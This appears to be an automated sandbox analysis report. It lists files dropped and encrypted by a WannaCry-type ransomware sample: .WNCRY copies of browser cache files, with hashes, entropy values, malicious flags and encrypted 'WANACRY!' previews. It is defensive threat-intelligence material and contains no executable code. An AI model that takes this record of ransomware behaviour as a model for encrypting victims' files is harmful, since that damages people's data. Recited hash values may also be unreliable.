                                                                                                                                                                              SSDEEP:12288:1mo7xgnQrJpNpUikF978D6lrxk2Lu5y/9:Io7xhrppcv78DErx8AV
                                                                                                                                                                              MD5:6F47A4810EC10176AB897B3F0E47AA1F
                                                                                                                                                                              SHA1:6AF0DB4B95D623F07C0E6752050B21C591CD16E4
                                                                                                                                                                              SHA-256:F3A944855F8CA7E18777B27937ACE899159FFA49886C799A7E065542AAE3ED44
                                                                                                                                                                              SHA-512:881BCF11636B84E92EC4A0D4CF3757671AC4DF80464B0A256EC7941B416091958D2465AF000EC3D36199C9F003F73EB3C86BD3EA2EC6D0E0B6CF8200B42A0309
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....S.ES...a....4*..p.+....P.........N.-.ExHm .5..*&.CK..B..M.W.&....h.u............=.....Y..$.......r......(...:...K....,...F...S...b..=&37~..X.2........K....>I.M.Ta."7H...9..w.f.......fz...fd.....~&..u....]..2:......|9OL.^...]&n.&.....J..... .......G.)...Y....n'.G.@...N..;....q.m.K..A.......C......l.6........(.n.... ..cw.$..qG.*..R...:..(...........n..4.cB!...wtE.|..!....|.j..EK8....y..>..x$..1J...!rC:.S......{yo......-\./...F.7.5.5...".........bY..Z...=S..]......mLQb..-.ai..N.....:<8.{...`...K..X%`ZV.S}u .,f.Mv..4..L!.....Q0.8......5]....#ndsM..[..i..F.......5L(...........Z*.b...0..5.V.~q}.*.e...@k..)w..}...qG....J...%..!d..^-.l....i..f...7...0..I....n....m..O4.9}.QsX....|...4._.H{. q..u..(...d1.+."R.....=!#D..$.-.)a.M..P...$N.(3.;..QA.O.u...:.>....1.3..J..%l...BD...........;4FrO.=...$G.......y......%.e1.y......<..(6..]C.U.2....e........*...T`....rKu.2.."sU..L.b.Y.N.0.a.DR...Lk[...].`.c4aH.:....+9...".\GOl.a@.._..$i5.&~n.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\LisgCZCwGQ4lRz4go9tlwPslw_k.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16056
                                                                                                                                                                              Entropy (8bit):7.990217373533725
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:CPsm8bLbyDqpQTX/tyJIziJ/gNPbsv9/vORVT0W911:U8Eb/G1J0j49/v+pr911
                                                                                                                                                                              MD5:D178A16C818AEBD03E204C53138C1D2F
                                                                                                                                                                              SHA1:A21524E7D0BBB2FB91C4BFC66604ACD00AC9BE1B
                                                                                                                                                                              SHA-256:1E252C75C9A4CB8858BFD6DE5247863807ECB8358E088CA2D3D51EA5D6C62660
                                                                                                                                                                              SHA-512:C88A623956EBA41D7986B12F5701F8E507A5BF73F5DE16E45A0105751D133020A4A06A73D7938F52753241F7808A54E4E1BC1C3824180F36C9F47CACCACE8B25
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....q0U.)'^+...f.).R1...:.3....K\.2...7d..c.....].R..4....>~.N..3..[t3.[.......\.N..?w..E....O.3e..N.E.voPN.N.$bq.....f........._......pz...=..y.w.:..q9.${ ....#.c.......L..4....MW.Zn.._-Eu..A.M.|.D...>...?.6c.7.B..&Gm."..........fY^n..%.8.....=........S!=...9..f......6".n.%..K.oWz../1..............?.p..@>...-.E.M.+..N...."...:.y...jy.....3.g\.@#..I.{..|.v......f.[..>..g[.P5.r.^t..e.A.....dc...>H........a...h.#....v.+.....f.1kG+=.j"Sc..........k;...^g.Hy{..G....6=|z.+.6.t.......%.V~@...t........r....+.H......[.I[8>.(T<.G.....C..(0....E/@..3.......R...i.dx.@...9.....N.....l......G..........g........6..>:(...7.....].....p......Z..@.sDfz...v.q.8mc.>u.T.N./....]i4W.....c'..2.X..q$A.3."..s..u.s.0...R.9;D...T..4.....Y.`...vG.....H...g.F.;.`..6.......D..7a..5....c...[..."..oO..4.......t..d..].L\...{..m.....{.k2..`..p.b..S# &.j...k!jk&.N..e.1..h...u..k....Y.....2...g......O... Wh.......+:....7..u.<-.y..H..=..,*...(E....+......8%-.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MR6Zgdyo2coaDBmJxRBOLkPvlpk.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):258856
                                                                                                                                                                              Entropy (8bit):7.999285009337864
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:owPnyiLPaIlYdbVLGACoYZgeL2BUgm+uv8J2v74:owPnX77lYR9GAB7Ugmv6X
                                                                                                                                                                              MD5:C0604C47DE1E90E512CA2D0ACF78A1F2
                                                                                                                                                                              SHA1:81E17C540FB80DA6BCB5025054B730EDFADABE12
                                                                                                                                                                              SHA-256:7696236F8BAE2AC7422EC4D058A20C5281B1242DE24760586D9838131EABEAC1
                                                                                                                                                                              SHA-512:1E8AC733FFB1D2749F696184BF72B43922ACC11187562A6901E4E691FF1B00C5F1749D28F01C23B2F44F7FE3ABB539885A2F2261016B60980FD4EF1BBCBDB0CD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......b.k8.\:..T!.Y.k2.z.......PPM..<..$.."....k.~.6..6qM..q...s.....+.K(...G.....>.=...{b...".....-....}...xV!.?8.6..{i.w..1.&Le....a#.... .z:l...g..*K..:....`D4.E..w."23./.....!.N.S~.)z..W..,.....F..M..o..=zv."..."...U...Z.l!...g..&9@...._.................TZ}....i..X.9....:J7..av.g..*.'.)..1...8.%.&....qX.2.:..W..W...L.z....6I..M>....L...W&I.\...Z.......H|9a.C...p.qb..$B...C.%ab...&LV..$.#..2...<t-..].U:.C.\...8>...i...jv..=...3k...b".j._.z....S..,.{uQD..d......U....6..q]..*.9.".....5FD..".{.5......n..d9W..\..\]...q..m......^.;.fY..~..,..@.J..*.-.}u...)"...j........|z..S...b.../.ZhX..!2.....;.Z.....v...U%....b..:...u......9.z....i.<..&.q.YU?.f..a.W.u..7...Wq%.w^......!.........50.`d.....s...|..*...6.i6...._....zs...&.d.....z.W..._E.4..;x[.qc..[.h...8....=..3.^({v..[.bk7.+...c.<J......._.....K...w....e.6WT..5.....O+kH1....+.......bI.w.mz.'.a.<%.....=..[..x-.Y..9.w.e.....N...u..j.....de.XxQ....P@F@N.0........p.....J.k..'.....<+..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):105400
                                                                                                                                                                              Entropy (8bit):7.998430516869845
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:NF+9pIh15+WVIWu8tUny5FZ4wPzNKfUIXXIXMP9NNnE:b0pIfmWuTiUwPzrxXMlNu
                                                                                                                                                                              MD5:695152050F7A08D9FA520EAF70615CB3
                                                                                                                                                                              SHA1:E99CC696A13178EB5BF0750BFDAFA1F5DCDC0FA7
                                                                                                                                                                              SHA-256:DE04BAD2618EABD39A5386177293B8F71468B8C76F04BED4BD4B882800AC6626
                                                                                                                                                                              SHA-512:27DDFB23C90FF311D81CD16BB9AC193A468C3D4C254C3375139EA466BB4F34C509FA6A3AD50AF979588FAA7272054F1B91F67FE863BE04B55A0F7BFA92A38BE5
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....#P...<.*.>..k..m.Fu3... z..'../7y..6.%.X.....'.;K.H.&.*..Q.5..0V.b..wg.WO.....`7..=/..wj.u.w1.......+.w....../B.%.X.u..lI;...^..W.)U....]Rc..g.N..O.6. S..0....'.j:.[....,....f....a&?bI-,Id...".....o_i)..!y$.)..C.&.0....l..#;=o..j.j.y...2....iR.................4.!=7.#.a..I.9.Te........#..w....$.'.7..+.N.......f8.......o+......0.-....^..T......W..../;...LK.)'.e..x.XF0hG...../Y.q$4U..g.a}Z-.....G.{1$^....;zU.{r..........p..D.....{U..P.\..Hl....7......G.8|W9.@..._".Ia9ak.....=.....L.8....R.E)J.-....e.1.L.2%.....R...&s.Pl.i<S.6%.....8..0*....2..]?nn..F..2......a..!.,..%1.b...xX>.(.G.R.{i..W..L...^a..... .;..h..K....5>...A!...u,..{y...sX..`G.).OxW.BA.2.......y..y.). ...yp..a......Bpsz.o.0..4.....cZ..v..&>...)...r........0c......B.r........W^^.&..F.KbI.........t+.H...b.f...G..._.fa..e.~&.t.......q.f.....4t.%h.S*........q.....H_..{...:.[.w...B..Z....5.X.....a...{M..s!.......f>7fm..v.u*d....7..bGZ.ck..~1......M....[..b.........%G..<L.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ov6JSivEymftttgBEDwd3JIRgz0.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):230936
                                                                                                                                                                              Entropy (8bit):7.999308386964777
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:Gqu5rVpUaEebf6udMcopuAvuK3SqLZuOSK8x:s/pNEFahY3CqLZuO5i
                                                                                                                                                                              MD5:5D678EF6EE85EABA5BAFF3F4AC4889E3
                                                                                                                                                                              SHA1:DA35A1D6DA5D07A84749E2D1728726DAE4AF4340
                                                                                                                                                                              SHA-256:82015BB2EF34A35D753AFBFFA7713C7E309B07F1737D0A3EBF04F64225F5A82F
                                                                                                                                                                              SHA-512:BC47C626E696BEB17E406EE6BFDD0A924D048CB39F87A2E9467C2020EBEC211BA0D600A3CDF5C81DC26F6DEBC4746D858DDDC2AC6AEC890EB5CDDB536EEE82CD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...........&V{.|......7..t...>.._.n..Y,.........?uY...a.z.[.2.@#.Z..V.K.......f.9/J....1...3... .o...\jLuq..[.f.\..8s......-..........z..(e..1-..@.`x...:.X.3.2LQ.....Fn..9.q.#.-8.efW.'..L.'...,...F.U....^&.8q.1....AgM.....tf..X.....v`h...~..f..5.............S.A[.)oY.....~x.Y.C}+[c..V-@.HV.N.m....=.-......DC`A.......Rd.t.N...D_l........8.h..[..e..<\(.....\.N<!.Hv..P.p..........2....r...'.GQ....\o"~.2..=.....1:..a..xF?.\..k..L.n....~....8.m}+n5g...(o.]E_..W..Q'.?+.(26.V..:`-.....l@:..}.%kL....[..%D...Z....=.^.3..@.[LGk.0...d.=.XC.i.T......1....,....$.n.,......U.{.:o.B>.......Hw..Z.....Y+.W-8..[\A.....[@.=.V0j%..[.a.:.......A.R....0.c.%..ab.K.m.Ri_.f..Q..vn........_uP ......L...~)..&r....dW...d.`VB..Q.0,.J..KW....`...._..ef.....Uf...;Ev...c8....-...rOv$H:..@Z..1I..(u6..*"6m...f.(..u..)......ESF..+..H>7.f.......Y.w...*...........2.....J..g..._.c...Q..%.7.....B.....f..R...hW.M....p.)`Z...].-k......._.W/...o%..&.#...Gf..h..!.`..j

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\RfoQ_WQ8YccBpTTC1JFx7r-9GWU.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):204888
                                                                                                                                                                              Entropy (8bit):7.9991219085351934
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:qCa8Yb6MHZWcI32QJFkj0j1PoAARGZiCv/bl60/OkMmYlxkYO2g8X/DeqE/nyKtm:Ye5B3Vg0RwvCR1mkMZzkYO2gELm/ttm
                                                                                                                                                                              MD5:601FD40D436F36B0C691AE0110BF815C
                                                                                                                                                                              SHA1:7BE67C59672687FB6BCE2368AFD826BC0F55D5B1
                                                                                                                                                                              SHA-256:EDF907BDE24954D1FAFE959E99BF1687E29D6359027563917F3258CEEAE40A60
                                                                                                                                                                              SHA-512:796ECFE2D055A3D220939DB4F180503A5214C4A1F36166B44CB7EA1C514364EEE0F563B7A8646FECB48162280FBDC0EF27375F805C08202F3FA4696143A876FC
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......z.1..e!..qg:e.?..3=..zMO9[2..#..@.....=...L..._.<.Vbk....k..P.p..{..EL.88y.o..l.|...+..Hi...H....M....P..0$(.X...e|.4QcbQ]S%.o..."..!y.PX.S.....Q..j.....B?.............,R.....D.Mp...nc...B.|....AlGQmo...,..pk3q4..j..v.<..R.....#2...b....7..........p?..+|cm.....g.l...8L....4N2T......J...2....J=\M..n..A(..N..7j..}s.^_/f.s-.`ig.Hf.R.Yw^._.FI<....^.1~.o...9.#..H..Q.).n.Q..][G&.....4...w........!H=zV....AbH....R.mj....B,.|.w0...ty..<.E.I.!_.2.:.K>[..n.......O...#e6...-......d..iS..}..R.a..u..u....5.`....dO]{.K.C.f}a....oA...~....o..Vc+!..gp5.3.,...<..ske5...eHK.*...{|.A.!..09+C...g..[.R..D.'B....G...x..h..8..;$.!........e0.w....."...#Ze.<1..u.0.bM....n?.k.x.W....p....6..R.._D7n-../.&..4....q$N...@n.5...h...r.V(..8O..n...[......E.)...P.....L.....J..H.J...E1Q.l.g)8B..+>1g..~o.]..\.......t...s7g...b.;g.LQ..$eR.~Q...d...m.r..7...>1.r.-......`..oA...GZ.5..D./.<vO../..S.....v.R$.n.....6....v0.n.X..b}.%.553.Sc..1aF

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\UHyc3IjuWFO6s9IoOlmmJWw7Jqs.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):537976
                                                                                                                                                                              Entropy (8bit):7.999664836208768
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:iqklYDsxXFSmrCMfh7NPwSRnKkZjtCTb9yQAbbuCBlVQ:bUXFSmOwRPc0e6rQ
                                                                                                                                                                              MD5:3BE9C774FB72B681246D7DAB73662BAB
                                                                                                                                                                              SHA1:43B6AE9C803DFF050BFA54FEB133416BD4CB9023
                                                                                                                                                                              SHA-256:2B89B107BF908331B4B6F3EC45D8383FA7D8F6715916C1B968DF692B9985C82D
                                                                                                                                                                              SHA-512:1ACA36E88771F3BED048852EEFB144B86C1477C91C39500716F14F5DC0A2933FD058FA1F6BCACF32C9BCAC5259E01029DA7E80A81BD0AA532617E5C4B9702189
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Ha.....6....f....%..QZq`...$..J.4[..=...S.-..".u....U...>P.q8..9.,u1B...\..R...=tq.W...>..b.+......+..q...[27..j.V._v..>b....eP..CR.^.w]..i<...C.9S4."o.Z..!..rI..~../`.Sby}4 ..........d.x.A.Q..oN..JI...Hu....mc.U{.V..j.....U...2{}...9..<.....'hpR.hQ"....V4......c.I..pV....[P...)....-[......[r..v.v.I+S.._?%&.X.`..0.k..9..O...I....*....@.:...Q..D.....q.%.......v.......rO&.S....ws.#...x.....:@../..W....>.=A.....V.@K........]?.0PL.&./...p..q.....&.@...,P.oi.%.....w!.N...~*N`7....ebC.7...t.l........div....Ak}].....^.X).-.Na...r.....Y..M..TC...k.(.{?.A.~,$Q_%..A]B..|...t.....q...T...q..(..h*..4.F-?...I.J...2W.>.._.V..P....P.*.Z......|.YE;N..3U."9d1.4<.G`...E......go..c..?..85V.Hs......H.M........../I..0...T).....x...L.i@!..S....D...+...@...W..}..'..Z....).._....7...vm..,..wj.\<.!1.'......4.Q.:.v....k...(&...j.`U1..l.5p..I.-....UX....l2......Je..zN.M.4.i.Nq.g..[<qy.....x.>..-E........J...K.....Z..g....J....r.....K.d.D@E.Mym........_.....&....!M-.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ZNvOyS-r2rT3Al22ByUYXLQ5kPY.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):95192
                                                                                                                                                                              Entropy (8bit):7.998208792580037
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:Ckbd5nmrywOqygorZ9+nevsrxB4oUEP3a2BDIXQwdB/LJHky8WOC0+jC6b7wZkAx:H7npNDX7bkMozPfB+Q+BDJHI7CHgKjg1
                                                                                                                                                                              MD5:E4135C37719ED1F9F0F75BD978840606
                                                                                                                                                                              SHA1:27AB348242BB186A2173FDC7B1B843B96A67C02F
                                                                                                                                                                              SHA-256:5293F6E0D977C05567F098CF05211BDF16FF65572E09592B93DADD50BA1351BF
                                                                                                                                                                              SHA-512:19405BFF533BBCAA81FD0A4EDCDF448FE2A1EA70156BC5D0E426BCAD13044F5531B1602F59CB9343109245C389F9066EC3DF73B1775C158D4BB4434F69DAA373
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....]....(=.......:e....k..A|.m...~3.@.Tj.5.ah..dN.#/z....\/.....M.....Z`.w.wy5./S.I.E....%"2..]..P......*.>2...t.M......M.X..'....1.....~@sQ.*.u. 4..^5.r..=.POf..e..W.=.~.'*Y$.H/...K;L.1..^..L....h...l.T^,...........mT.Y..\B~^..Izs#..+......I..y..m.....r..........Pk.....h........8...uiOu.p.t...@j@..x.!... 5e......F...<Y.....O~.....*..T.]..R.>......36...h.S..g.y.}.y......Bk.7...^.*......AfT$K....EP...CB...P.$;?.W.....cS..I.C....i...y*.?.^.s..iF..b$.b...'..O.y\..~zi.`...4....c...}.A.......6...Tt..X...b.a1..-.G./xS...qP..=.....o.lh8.l).[.<F.+..$.[..?$.R..Ux.......u...4........XKZ.6.r..l..E.\.bh..N|~<.f...43y6.N.n..\".9.._;.1.A.Y..]..N.r......G...Y.....7...l.h.$j.E..A...B..B..?.j..b.m..*..0x!.WS)...[....5...u.$D.T.=_.M.U....D..#..,Pa2...+.D.`.1.n...}...M....S."T. .9.Ep-^\.>.MC.g.0Q.......es...9&..g.8......].].7.(....6.!...r.>.XMs.j..+e.5i..!t....+.r....)....r.....$e.....yg0.....6..B...%..w.'........+...3.....D.T.........uG/.Ffv.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\a4PqRmiFC877txZZ0VJ7G5bIAUo.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2296
                                                                                                                                                                              Entropy (8bit):7.899904968057624
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkT5UfeISCM23+2kGcaiP642Vk3HwUlotzk/YoSHRSeDVf:oT5UfetCNf8ay642cHBoq2HhDt
                                                                                                                                                                              MD5:134464BADA3CAB4230E9D4232C9DD2D7
                                                                                                                                                                              SHA1:F162D320A7133373E27F11F99891A3BBF600146A
                                                                                                                                                                              SHA-256:4F67CFD5DB15187BCDD826A47102A16508BF3ED3825E3C8B5FFBFF021591C312
                                                                                                                                                                              SHA-512:2C447481700CB1E87148C0AB331854E2C0BFC4AEE8D739C66FAEC388AF0353E76378395AB960E082823C1CF20D3932DC089DC3637B8386550A14E66A84652B40
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....EB.$.....q-(...%...%[.q.T.P'.4....r...I..u{.3D..2.t....y9...v.......]KT....>...2......O?.U.(f9uA....0.B.....g.@.v..i..H.X.5.......i.!AB..9....^|!V....sp.m._8...a..#_...s.a.{y..V.!..J~.....iN\..N.'J..e...1..o...a...{gh \#...~.ciQ..~N.k.....B%N............~.*...#..}..Ku...%mk.5.yR1.b.d.7.)....9.".Gi..%......|?s.c..UWzi..`....=~...O..aE%.....Y..E..o..o*...!..$...a;T=...M...V.8.v.guq.-......F..@.5.H...L..5.....h.,S.#..O."..h...I..CZ.5/79.i.:..o^.sM....F......J..F?.1%W..P..".D&.tho9./.~.y..5..Bm.....PnQ.tv#N..v.\w....'Z..pD?.$......T+][.R....`.1.!...~....Rp.".!......s.<5..S6M?E.B..I>..e".......q.}g.^^~..@:WzS,D..s.."RkLQ1)|.\...U..n.f.2.........+*..N...0X.C..t.5..Q..m.G...?5.5..;.......A.[7!.K'..}....Q..F?p..s......egD.flc.'..G....c.5..<.wE..>Dn....-.M=..N.....E=........nb.S..o.. ...I.6?....t.~.O..^.z.m..7.t..cZhw..4A..A.,.B.@r....n7{x.....M........#.`.....A..H.v..|...[.IV.^o.mR=..J...q.#.Fay.......[Wa5.|..7.....J'...[..E$..N.YSG

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\axXWui3EcbJQ5EbqyMZWmTud9p8.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4024
                                                                                                                                                                              Entropy (8bit):7.952037600286876
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:ocxPAV4xVcQkpP/3ZQra+eOV2rvdi5onSf9OS/kCmBciVU/8Z:zoQkp33wa+enrM5onGYS/kCic3Y
                                                                                                                                                                              MD5:6B93E753916A99AD89B4321D4D569C81
                                                                                                                                                                              SHA1:64F1CF9CF26CFBD5B73B23DE535488DD966BB15B
                                                                                                                                                                              SHA-256:5EAF7B91D05AA5E8E72CCC76493CE7F9C365FDB6603D6F74135EF82C68000BE4
                                                                                                                                                                              SHA-512:977B3F012E919D37CCD1511BC6324FD4B7672F5071DB011DF814CEB0F5BA75CDC38FFED844A51C542C5DA5D65243307AD5AA63AE63F4970386EC88F057352C37
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....T.......g....'.mq......f.p.&.9.0J^R..^...YQ.....9uh7. .{.9...D......E.R...j..N`io..?.]8.h......`:.q.1.r.<lB.yM..IP.F...up.D9$..7j)I..gz4 ..q..F?.s.d..f"x._...].m.K..|%..d...N..x....'r9...d...@^...F..U....$fE....H.)l.....N..5$......&.a..............g........%....`.0P..c..?..@O{F.A.P0...X.\o7.k..+.....V.v+_.....Y......j.L<h..M4...N.Y.y.h....C.9_.=V.....8z..d8.mi........]....oa.L.....;i.....{........O.....K..c.a..0.:_.0:...<m8x...I..j...H.._\..R....2.`=.........%.l=..J....x...5...W...<.2}..xKQr]./.bUv..f..........\...5.^Q.m.js.f.r...~'.a."..K...7.....y6.sL..%'.9.)....f..B...N...$..Ft..k....'..........@...d/&...N..2XpG..Ce.C!-.$`...V..e...{.Z..........N(.7...:...{=..s...PS.>.(....X.dN....s..;..~.....qu.n8i.N...O......3...V....I.1...U.p|....<....m..P3...`.M$.2.a.....qp...M....+.. ..7.Hf.~@b...Q.Y.r..M).5.6hTJ..:Z....2...D(...........z..Z.S`A.....!h.s.z..Z.....h...x.9......@of.l....Z.k....F....l..==..R....3.J...."].$U5j.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\e1-xFG2R7U1WW0CqiDQb99OPDgc.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1752
                                                                                                                                                                              Entropy (8bit):7.9007781122830085
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkt7G5B+0LZLyTYoJ8eE/MLoWH7cl0ruLQ:oIi0FLsFah/MUWH7PuLQ
                                                                                                                                                                              MD5:FD579CC3F5D9606FCB83EB90564C2134
                                                                                                                                                                              SHA1:4923C915C7312B5CB8D4FB24D5B746BDEA607D2B
                                                                                                                                                                              SHA-256:A78567AF3FED9A03A5926596AE390F615EA9F6A10CD29C7195BC9B44C78B4219
                                                                                                                                                                              SHA-512:FD52AEE3628DBD9B5874366D315F4944D1A2F0F6F26E11A52880C9A3C27EAC41E3946EE892EEB5D9B57DA67906E523C3627145F8B6C409595599954AC68E64A9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........P..PI5.._........V]..O..../.+.;J.q.`k.......R...h<...x.}*|...).h.........q.-p{...?..cn\...es%?....v..."|.$...R.X..U..K...d...<.Q..>G.......3).b.....u.ZG....y.<.n[.$.m......Y.]....}c.2:g...;'.".M...k........v........"^.euxv/o.f.|..*..q+.>..............E|RC..:.......4....(/....ld+./....d...qf..'g.g.fs.....z-Mq.z....;~b.w..bh@WG...q.....D.^.9.....CFF.f....-...in..%!..L.....3.5....tY.<.._...........0V......2..v..'..^..\...03YcS..L.4..6.2..fn..E...#...b.."s....P..z.U..x...D..m...Z.+.7......4..i.}.._Vw..CB.*...y...:_..OT.6.ey...h.?.o3.L...zn.3.`b.|D.o.......54..w.n..d...D..#.w.q.....-...;..n6[....[.X3.m....Y.......X..,........|.W9...}......`G...d.0..go.Y.qN.p.fI.|.rw.c#.%.K]...]..Z.gM!J.2..4T......a...M.f..7.are.....k..= ..c.%`glx.{..jI0;..5}......a.W.W......5...{.~.........Qg.'..PD..n....bF^=.q....1....=.:....z...C..&....[...4N..'U..e..AR.>..4^;.(*..+..TD.R.I..|h.+D.....~_./\5.L..=..6..iH....W.8."..P.+.....s:.........

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\f8FI06PDUmw1Zws81nUDYY3bWsY.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):45208
                                                                                                                                                                              Entropy (8bit):7.996392038666266
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:m5f/UtpfwHQVB94ls4i5upkiQB8JSdXX4SKkxJZiTI3JHxO5:mt/ehwHQVL4XickiQTXC+Jgs3T+
                                                                                                                                                                              MD5:E74F5758B07F9AC1B30CB0940F0FCC63
                                                                                                                                                                              SHA1:F27DC66FF160755D63D60E323B310633FD061C66
                                                                                                                                                                              SHA-256:B1529FBAE187A7830939AEBD891C8F7BF3B7E4BAD0D41C7B385CC27763F2F0E2
                                                                                                                                                                              SHA-512:1C930169EA72171A97F0C184C613F8CE7F4D21414B0129FF5CE7A94A72159DDE08873FC665630231FA5DD14CCF6EBE1223E90DD3E7C20C9B17844E6A43FA4E8D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
